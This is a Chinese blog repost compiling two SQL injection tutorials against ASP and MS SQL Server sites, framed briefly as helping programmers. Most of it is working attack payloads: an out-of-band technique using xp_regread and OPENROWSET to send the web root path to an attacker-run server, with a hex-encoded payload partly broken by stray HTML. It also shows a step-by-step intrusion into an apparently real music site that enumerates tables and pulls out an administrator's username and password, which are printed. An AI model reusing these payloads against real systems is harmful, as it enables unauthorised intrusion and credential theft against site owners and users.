sql(3)

来源:互联网 发布:淘宝充q币 编辑:程序博客网 时间:2024/05/17 01:33
SQL注入攻击常见方法和技巧




知己知披方能百战百胜;“黑客”们采用的攻击方法雷同,下面是我挑选的一些具有代表性的攻击方法

,分析这些方法有助于程序员们编写更少漏洞的程序。




跨站式SQL注入数据库攻击和防范技巧

前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接

的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注

入”。

  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。

  第一个想法:   

  SQL可以连接外部的数据库。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本

地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。 

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。 

  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数

据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。 

  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随

后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。







  DECLARE @result varchar(255) exec master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'

,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''

你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +

''''''')AS a');--





  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL

语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。 







SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors

where au_fname=''C:/Inetpub,,1''')AS a




  
  其中的C:/Inetpub,,1就是注册表记录的根目录,最后要做的是:







 DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--




 
  这样就等于执行了







SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors

where au_fname=''C:/Inetpub,,1''')AS a





  这一条语句,同时你会在事件探测器那边会显示  







SELECT * FROM pubs.dbo.authors where au_fname='C:/Inetpub,,1'




   
  其中的C:/Inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么

做呢?







a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--   




  
  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:







a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'

,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''

你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +

''''''')AS a');--




  
  出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成

16进制,或许还有别的地方要转化......怎么办啊?

  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地

http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执

行上述语句了。
  





a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35

%29%20%65%78%65%63%20%
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43

%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76

%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20

%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69

%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F

%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F

%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77

%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/33.shtml' target='_blank'

class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20





  执行成功。







a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--





  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:












 
  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取

出来。。

  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + '''''''

部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这

样那边会出错。这边就留下一个exec 'C:/Inetpub,,1'












SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很

多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们

也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写

的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有

个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应

的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇

文章对研究SQL Injection朋友来说,应该会有所启发。

  一、发现漏洞,常规注入

  最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料

,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还

是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:







Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/showspecial.asp,行13





  Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性

极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变

量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

  1、提交http://********/showspecial.asp?Specialid=1817;use master;--

  注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..

  出现







Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13





  想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from

[user])

  这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段

  一般来说:

  如果不存在该表的话,会出现







Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13





  不存在该字段的话,会出现







Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13





  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据

库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表use

r或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码

,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如<INPUT type=text

name=username size=15>

  很幸运,果然存在user表和id字段

  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username)

from [user])

  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rr

rrr的用户,作为注入的平台,得到我的用户名的id值103534

  4、继续猜下去,这里我还是利用的他程序中的表单名,提交:







http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])





  也存在,好了,到这里,我们的平台已经搭建好了。

  二、深入研究,让SQL自己招数据库结构

  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数

据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的

每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内

创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的

表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

   name 数据表的名字
   xtype 数据表的类型 u为用户表
   id 数据表的对象标志
   status 保留字段,用户表一般都是大于0的

  在查询分析器执行以下SQL语句(以我本地的数据库为例子)







select top 1 name from sysobjects where xtype=u and status>0





  我们马上就可以得到该数据库下用户表的第一个表名gallery







select top 1 id from sysobjects where xtype=u and name=gallery





  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048







select top 1 name from sysobjects where xtype=u and id>2099048





  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

  以此类推,我们可以得到所有的用户表的名字了

  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和o

bject_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):







select top 1 col_name(object_id(gallery),1) from gallery





  得到gallery表的第一个字段名为id。

  注:

   col_name()的语法
   COL_NAME ( table_id , column_id )

  参数

   table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
   column_id:列的标识号。column_id 参数属于 int 类型。

  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。

。字段的标识号

  以此类推得到该表所有的字段名称

  三、再次渗透攻击

  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

  依然是那个页,我们提交

http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from

sysobjects where xtype=u and status>0) where id=103534;--

  服务器返回

ADODB.Recordset 错误 800a0cb3

  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

  出师不利,可能该页记录集打开方式是只读,我们再换一个页

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id

from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取

……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能

就是管理员的列表了。

  好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

col_name(object_id(admin),1) from admin) where id=103534;--

  得到第1个字段为:id

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

col_name(object_id(admin),2) from admin) where id=103534;--

  得到第2个字段为:username

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

col_name(object_id(admin),3) from admin) where id=103534;--

  得到第2个字段为:password

  到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿

管理员的id值,这个比较简单,我就不再详细说了。

  我们拿到的id值是44

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

username from admin where id=44) where id=103534;--

  将该管理员的用户名更新到email项,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

password from admin where id=44) where id=103534;--

  将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

  怎么样,拿到密码了吧?